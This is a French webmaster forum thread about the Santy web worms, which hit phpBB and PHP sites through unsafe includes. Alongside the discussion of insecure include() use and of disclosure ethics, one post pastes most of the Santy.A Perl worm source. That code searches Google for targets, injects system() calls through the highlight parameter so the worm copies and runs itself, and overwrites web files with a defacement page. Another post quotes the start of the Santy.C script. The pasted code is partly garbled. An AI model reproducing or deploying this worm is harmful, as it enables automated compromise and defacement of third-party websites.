Yahoo Santy.C s'attaque aux sites Web Sur Yahoo et AOL

WRInaute occasionnel
Avec un minimum de bon sens ce vers ne peut rien faire à nos site , il fait simplement ce que n'importe quel hacker a 2 balles peut essayer sur votre site : tester les include.

C'est pas bien mechant comme attaque , heureusement :)

include("$var.php");
c'est pas une faille , c'est une grosse boulette du webmaster lol.
 
WRInaute impliqué
Neptune a dit:
Avec un minimum de bon sens ce vers ne peut rien faire à nos site , il fait simplement ce que n'importe quel hacker a 2 balles peut essayer sur votre site : tester les include.

C'est pas bien mechant comme attaque , heureusement :)

include("$var.php");
c'est pas une faille , c'est une grosse boulette du webmaster lol.

Moi ce que j'en dit :roll:
Mon site est en html :lol:
 
WRInaute impliqué
L'url rewriting dissimule (mais ne résoud pas) ce genre de failles, je le conseille donc fortement encore une fois :wink:
 
WRInaute passionné
je reve ou le code de santy.c est dispo sur le premiere page de google (sur la rechrche adequate evidement) 8O .
ca fout les boules de pouvoir le trouver si facilement :S
 
WRInaute passionné
La requete est ""déjà"" bloquée par yahoo.
Santy.d devra être ou plus rapide ou moins parlant, mais il est certain que les solutions de blocage vont être contournées.
 
WRInaute impliqué
Je sais pas de quel code tu parles, mais la 1ère variante est finalement toute conne :)

De toute facon il va falloir s'attendre à du beau bordel à chaque release sur Bugtraq de failles et Exploits sur des scripts répandus (CMS/Forums ...)

Code:
#
# Santy.A - phpBB <= 2.0.10 Web Worm Source Code (Proof of Concept)
# -SECU For educational purpose
#
# See : http://isc.sans.org/diary.php?date=2004-12-21
# http://www.f-secure.com/v-descs/santy_a.shtml
#
#!/usr/bin/perl
use
strict;
use Socket;

sub PayLoad();
sub DoDir($);
sub DoFile ($);
sub GoGoogle();

sub GrabURL($);
sub str2chr($);

eval{ fork and exit; };

my $generation = x;
PayLoad() if $generation > 3;

open IN, $0 or exit;
my $self = join '', <IN>;
close IN;
unlink $0;

while(!GrabURL('https://www.google.com/advanced_search')) {
if($generation > 3)
{
PayLoad() ;
} else {
exit;
}
}

$self =~ s/my \$generation = (\d+);/'my $generation = ' . ($1 + 1) . ';'/e;

my $selfFileName = 'm1ho2of';
my $markStr = 'HYv9po4z3jjHWanN';
my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"';
my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527';

while(1) {
exit if -e 'stop.it';

OUTER: for my $url (GoGoogle()) {

exit if -e 'stop.it';

$url =~ s/&highlight=.*$//;
$url .= $tryCode;
my $r = GrabURL($url);
next unless defined $r;
next unless $r =~ /$markStr/;

while($self =~ /(.{1,20})/gs) {
my $portion = '&highlight=%2527%252Efwrite(fopen(' . str2chr($selfFileName) . ',' . str2chr('a') . '),
' . str2chr($1) . '),exit%252e%2527';

$url =~ s/&highlight=.*$//;
$url .= $portion;

next OUTER unless GrabURL($url);
}

my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' . $selfFileName) . ')%252e%2527';
$url =~ s/&highlight=.*$//;
$url .= $syst;

GrabURL($url);
}
}



sub str2chr($) {
my $s = shift;

$s =~ s/(.)/'chr(' . or d($1) . ')%252e'/seg;
$s =~ s/%252e$//;

return $s;
}


sub GoGoogle() {
my @urls;
my @ts = qw/t p topic/;
my $startURL = 'https://www.google.com/search?num=100&hl=en&lr=&as_qdr=all' . '&
q=allinurl%3A+%22viewtopic.php%22+%22' . $ts[int(rand(@ts))] . '%3D' . int(rand(30000)) .
'%22&btnG=Search';
my $goo1st = GrabURL($startURL)
fined $goo1st;
my $allGoo = $goo1st;
my $r = '<td><a href=(/search\?q=.+?)' . '><img src=/nav_page\.gif width=16 height=26
alt="" border=0><br>\d+</a>';
while($goo1st =~ m#$r#g) {
$allGoo . = GrabURL('www.google.com' . $1);
}
while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) {
my $u = $1;
next if $u =~ m#http://.*http://#i; # no redirects
push(@urls, $u);
}

return @urls;
}


sub GrabURL($) {
my $url = shift;
$url =~ s#^http://##i;

my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
return unless defined($host) && defined($res);

my $r =
"GET $resHTTP/1.0\015\012" .
"Host: $host\015\012" .
"Accept:*/*\015\012" .
"Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" .
"Pragma: no-cache\015\012" .
"Cache-Control: no-cache\015\012" .
"Referer: http://" . $host . $res . "\015\012" .

"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" .
"Connection: close\015\012\015\012";

my $port = 80;
if($host =~ /(.*):(\d+)$/){ $host = $1; $port = $2;}

my $internet_addr = inet_aton($host) or return;
socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return;
setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000);

connect(Server, sockaddr_in($port, $internet_addr)) or return;
select((select(Server), $| = 1)[0]);
print Server $r;

my $answer = join '', <Server>;
close (Server);

return $answer;
}


sub DoFile($) {
my $s = q{
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD><TITLE>This site is defaced!!!</TITLE></HEAD>
<BODY bgcolor="#000000" text="#FF0000">
<H1>This site is defaced!!!</H1>
<HR><ADDRESS><b>NeverEverNoSanity WebWorm generation }
. $generation .q{.</b></ADDRESS>
</BODY></HTML>
};

unlink $_[0];
open OUT, ">$_[0]" or return;
print OUT $s;
close OUT;
}


sub DoDir($) {

my $dir = $_[0];
$dir .= '/' unless $dir =~ m#/$#;

local *DIR;
opendir DIR, $dir or return;

for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) {

unless(-l $dir . $ent) {
if(-d _) {
DoDir($dir . $ent);
next;
}
}

if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i or $ent =~ /\.jsp/i
or $ent =~ /\.phtm/i) {
DoFile($dir . $ent);
}
}

closedir DIR;
}


sub Pay Load() {

my @dirs;


eval{
while(my @a = getpwent()) { push(@dirs, $a[7]);}
};

push(@dirs, '/ ');

for my $l ('A' .. 'Z') {
push(@d
for my $d (@dirs) {
DoDir($d);
}
}
//milw0rm.com
 
WRInaute passionné
Santy.C - Santy.c - PHP Scripts Automated Arbitrary File Inclusion
This script uses Google to find *.php pages vulnerble to a file inclusion flaw)

#!/usr/bin/perl

use LWP::Simple;
use IO::Socket::INET;

while(1){
$numr = int rand(9999);
$caxe = ".";
$caxe1 = ".";
$caxe .= rand(9999);
$caxe1 .= rand(9999);
$arq = ".";
$arq = int rand(9999);

open(sites,">$arq");
print sites "";
close(sites);


$procura = 'inurl:*.php? etc etc etc...

ca me troue le cul qu'on puisse mettre des code de virus sur le web, fo vraiment etre con.
 
WRInaute impliqué
Faut absolument pas être con, les virus sont des programmes comme les autres et il est très intéressant de les analyser et de les connaître que ce soit pour la culture informatique, ou pour mieux les prévenir.

Je trouve formidable qu'il existe des platformes comme Bugtraq qui permettent à tout un chacun de poster les vulnérabilités qu'on trouve dans un programme, ca permet aux programmeurs de faire plus attention dans leur manière de porgrammer et ca fait avancer considérablement l'évolution des OS notamment les OS libres qui évoluent uniquement grâce à la communauté que ce soit pour ses fonctionnalités ou sa sécurité.

Ce que je trouve regrettable, c'est que des personnes mal intentionnées utilisent ces platformes de diffusion de vulnérabilité pour coder des virus qui utiliseront des failles dont ils ne sont même pas les auteurs !

C'est généralement ce qu'on appelle des SK (Script kiddies), mais pour ce virus en question je ne sais pas si la faille avait été diffusée avant ou si elle est simplement le fruit de l'imagination de l'auteur auquel cas je lui tire mon chapeau car la mise en oeuvre du virus est originale (Utilisation d'un moteur de recherche) et le comportement du virus est astucieux.

La conclusion est simple, la globalisation de système open source est dangereuse car ayant accès à la source du programme, les vulnérabilités sont bien plus facilement identifiables et exploitables par un pirate, pire encore, elle atteignent non plus une partie de la population mais sa globalité ... Bref codez vous même ou vous finirez par avoir de mauvaises surprises et arrêtez de vanter les mérites en terme de sécurité de tel ou tel logiciel Open source car on sait jamais ce qui peut arriver :roll:
 
Discussions similaires
Haut